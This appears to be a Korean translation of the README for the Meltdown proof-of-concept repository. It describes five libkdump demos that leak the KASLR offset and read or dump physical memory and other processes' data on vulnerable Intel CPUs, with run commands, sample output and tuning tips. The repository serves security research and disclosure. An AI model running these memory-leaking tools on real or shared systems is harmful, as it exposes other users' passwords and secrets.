
Meltdown 마이크로아키텍처 공격을 시연하는 개념 증명 데모와 libkdump 라이브러리로, 취약한 Intel CPU에서 커널 및 물리 메모리를 유출합니다.
이 저장소에는 Meltdown 버그를 시연하는 여러 애플리케이션이 포함되어 있습니다. 버그에 대한 기술적 정보는 다음 논문을 참조하십시오:
이 저장소의 애플리케이션은 논문을 위해 개발한 라이브러리인 libkdump로 빌드되었습니다. 이 라이브러리는 환경의 특정 속성에 자동으로 적응하여 버그 악용을 단순화합니다.
이 저장소에는 Meltdown을 시연하는 여러 동영상이 포함되어 있습니다
이 저장소에는 다양한 사용 사례를 시연하기 위한 다섯 가지 데모가 포함되어 있습니다. 모든 데모는 Intel Core i7-6700K가 장착된 Ubuntu 16.04에서 테스트되었지만, 2010년 이후의 모든 최신 Intel CPU를 사용하는 모든 Linux 시스템에서 작동해야 합니다.
최상의 결과를 위해 Intel TSX를 지원하는 빠른 CPU(예: 모든 Intel Core i7-5xxx, i7-6xxx 또는 i7-7xxx)를 권장합니다. 또한 모든 데모는 예를 들어 taskset을 사용하여 하나의 CPU 코어에 고정해야 합니다.
사전 요구 사항으로, 머신에 glibc-static을 설치해야 합니다.
RPM 기반 시스템의 경우:
sudo yum install -y glibc-static
test)이것은 가장 기본적인 데모입니다. Meltdown을 사용하여 격리 메커니즘을 위반하지 않고 자체 주소 공간에서 접근 가능한 주소를 읽습니다.
이 데모가 작동하지 않으면 나머지 데모도 대부분 작동하지 않을 것입니다. 그 이유는 다양합니다. 예를 들어 CPU가 너무 느리거나, 비순차 실행을 지원하지 않거나, 고해상도 타이머가 충분히 정밀하지 않거나(특히 VM에서), 운영 체제가 사용자 정의 신호 핸들러를 지원하지 않는 경우 등입니다.
make
taskset 0x1 ./test
다음과 유사한 출력이 표시되면
Expect: Welcome to the wonderful world of microarchitectural attacks
Got: Welcome to the wonderful world of microarchitectural attacks
기본 데모가 작동하는 것입니다.
kaslr)Linux 커널 4.12부터 KASLR(Kernel Address Space Layout Randomizaton)이 기본적으로 활성화됩니다. 이는 커널의 위치(그리고 전체 물리 메모리를 매핑하는 직접 물리 맵)가 재부팅할 때마다 변경된다는 것을 의미합니다.
이 데모는 Meltdown을 사용하여 직접 물리 맵의 (비밀) 무작위화를 유출합니다. 이 데모는 프로세스 속도를 높이기 위해 root 권한이 필요합니다. 논문에서는 root 권한이 필요 없는 변형을 설명합니다.
make
sudo taskset 0x1 ./kaslr
몇 초 후, 다음과 유사한 출력이 표시되어야 합니다
[+] Direct physical map offset: 0xffff880000000000
reliability)이 데모는 물리 메모리를 얼마나 안정적으로 읽을 수 있는지 테스트합니다. 이 데모를 위해서는 직접 물리 맵 오프셋(예: 데모 #2에서 얻은)이 필요하거나, 커널 명령줄에 nokaslr을 지정하여 KASLR을 비활성화해야 합니다.
reliability를 빌드하고 시작합니다. KASLR이 활성화된 경우 첫 번째 매개변수는 직접 물리 맵의 오프셋입니다. 그렇지 않으면 프로그램에 매개변수가 필요하지 않습니다.
make
sudo taskset 0x1 ./reliability 0xffff880000000000
몇 초 후, 다음과 유사한 출력이 표시되어야 합니다:
[-] Success rate: 99.93% (read 1354 values)
physical_reader)이 데모는 물리 메모리를 직접 읽어 다른 프로세스의 메모리를 읽습니다. 이 데모를 위해서는 직접 물리 맵 오프셋(예: 데모 #2에서 얻은)이 필요하거나, 커널 명령줄에 nokaslr을 지정하여 KASLR을 비활성화해야 합니다.
원칙적으로 이 프로그램은 임의의 물리 주소를 읽을 수 있습니다. 그러나 물리 메모리에는 사람이 읽을 수 없는 데이터가 많이 포함되어 있으므로, 사람이 읽을 수 있는 문자열을 메모리에 넣고 이 문자열의 물리 주소를 직접 제공하는 테스트 도구(secret)를 제공합니다.
데모를 위해 먼저 secret을 (root로) 실행하여 사람이 읽을 수 있는 문자열의 물리 주소를 얻습니다:
make
sudo ./secret
다음과 유사한 출력이 표시되어야 합니다:
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
secret 프로그램이 실행되는 동안 physical_reader를 시작합니다. 첫 번째 매개변수는 secret이 출력한 물리 주소입니다. KASLR이 비활성화되지 않은 경우 두 번째 매개변수는 직접 물리 맵의 오프셋입니다.
taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
몇 초 후, 다음과 유사한 출력이 표시되어야 합니다:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
If you can read this, this is really bad
memdump)이 데모는 메모리 내용을 덤프합니다. 데모 #3 및 #4와 마찬가지로 직접 물리 맵을 사용하여 물리 메모리의 내용을 hexdump와 유사한 형식으로 덤프합니다.
다시 말하지만, 물리 메모리에는 사람이 읽을 수 없는 내용이 많이 포함되어 있으므로, 사람이 읽을 수 있는 문자열로 물리 메모리의 많은 양을 채우는 테스트 도구를 제공합니다.
데모를 위해 먼저 memory_filler를 실행하여 사람이 읽을 수 있는 문자열로 메모리를 채웁니다. 첫 번째 인수는 채울 메모리 양(기가바이트 단위)입니다.
make
./memory_filler 9
그런 다음 memdump 도구를 실행하여 메모리 내용을 덤프합니다. 이전에 memory_filler를 실행했다면 일부 문자열 조각을 볼 수 있습니다.
여러 탭이 있는 Firefox 또는 Chrome을 실행 중인 경우, 열려 있거나 최근에 닫힌 웹사이트의 일부를 볼 수도 있습니다.
첫 번째 매개변수는 덤프를 시작할 물리 주소입니다(첫 번째 기가바이트에서 시작하려면 비워 둡니다). 두 번째 매개변수는 읽을 바이트 수이며, 모두 읽으려면 -1을 지정합니다. KASLR이 비활성화되지 않은 경우 세 번째 매개변수는 직접 물리 맵의 오프셋입니다.
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
메모리 일부의 hexdump를 얻을 수 있습니다(잠재적으로 비밀번호와 같은 비밀 정보가 포함될 수도 있음, 논문의 예시 참조), 예:
240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 | spied on an app |
Windows / Ubuntu on Windows (WSL) / Mac OS에서 작동합니까?
아니요. 이 PoC는 직접 물리 맵과 같은 Linux 커널에 특화된 속성을 사용하므로 Linux에서만 작동합니다.
가상 머신에서 PoC를 실행할 수 있습니까?
예, PoC는 가상 머신에서도 작동합니다. 그러나 가상 머신에서 도입된 추가 계층으로 인해 네이티브 하드웨어에서만큼 잘 작동하지 않을 수 있습니다.
KASLR 프로그램(kaslr)이 오프셋을 찾지 못합니다!
kaslr 도구는 속도를 위해 매우 적은 측정만 수행합니다. 오프셋을 찾지 못하면 두 가지 가능성이 있습니다:
kaslr.c에서 재시도 횟수를 변경합니다: config.retries = 1000;kaslr_offset의 커널 모듈을 사용하여 커널에서 직접 오프셋을 읽습니다. 커널용 커널 헤더를 설치하고(sudo apt-get install linux-headers-`uname -r` ) sudo ./direct_physical_map.sh를 실행합니다캐시되지 않은 메모리에서 작동한다고 하셨는데, 모든 데모에서 메모리가 캐시되도록 보장합니다!
캐시되지 않은 메모리에서 작동하게 만드는 것은 더 까다롭고 종종 매개변수를 약간 조정해야 합니다. 따라서 재현을 쉽게 하기 위해 PoC에서 메모리가 캐시되도록 보장합니다. 그러나 값을 캐시하는 코드를 제거하고 clflush로 대체하여 캐시되지 않은 메모리에서 익스플로잇을 테스트할 수 있습니다(예는 동영상 #5 참조).
Google의 원래 블로그 게시물에는 없었지만, 독립 연구자들(예: Alex Ionescu, Raphael Carvalho, Pavel Boldin)에 의해서도 확인되었습니다.
경고 #1: 이 코드는 있는 그대로 제공됩니다. 이 코드로 인해 발생할 수 있는 모든 위험으로부터 자신, 자신의 재산 및 데이터, 그리고 타인을 보호할 책임은 사용자에게 있습니다. 이 코드는 머신에서 예상치 못한 바람직하지 않은 동작을 일으킬 수 있습니다. 이 코드는 머신에서 취약점을 감지하지 못할 수 있습니다.
경고 #2: 컴퓨터가 Meltdown 버그에 취약하다는 것을 발견하면 다중 사용자 시스템으로 사용하지 않는 것이 좋습니다. Meltdown은 CPU의 메모리 보호를 위반합니다. Meltdown 버그에 취약한 머신에서는 하나의 프로세스가 다른 프로세스나 커널에서 사용하는 모든 페이지를 읽을 수 있습니다.
경고 #3: 이 코드는 테스트 목적으로만 사용됩니다. 생산 시스템에서 실행하지 마십시오. 다른 사람이나 단체가 사용할 수 있는 시스템에서 실행하지 마십시오.
제 컴퓨터에서는 작동하지 않습니다. 어떻게 해야 합니까?
여러 가지 이유가 있을 수 있습니다. 시도해 볼 수 있는 몇 가지 사항을 수집했습니다:
libkdump/libkdump.c의 #define MELTDOWN meltdown_nonull 줄에서 변경할 수 있습니다. 예를 들어 meltdown_nonull 대신 meltdown을 시도해 보십시오. 일부 머신에서는 훨씬 더 잘 작동합니다(하지만 다른 머신에서는 전혀 작동하지 않습니다).stress -i 2(또는 코어 수에 따라 i 매개변수에 다른 값)로 stress 도구를 실행합니다.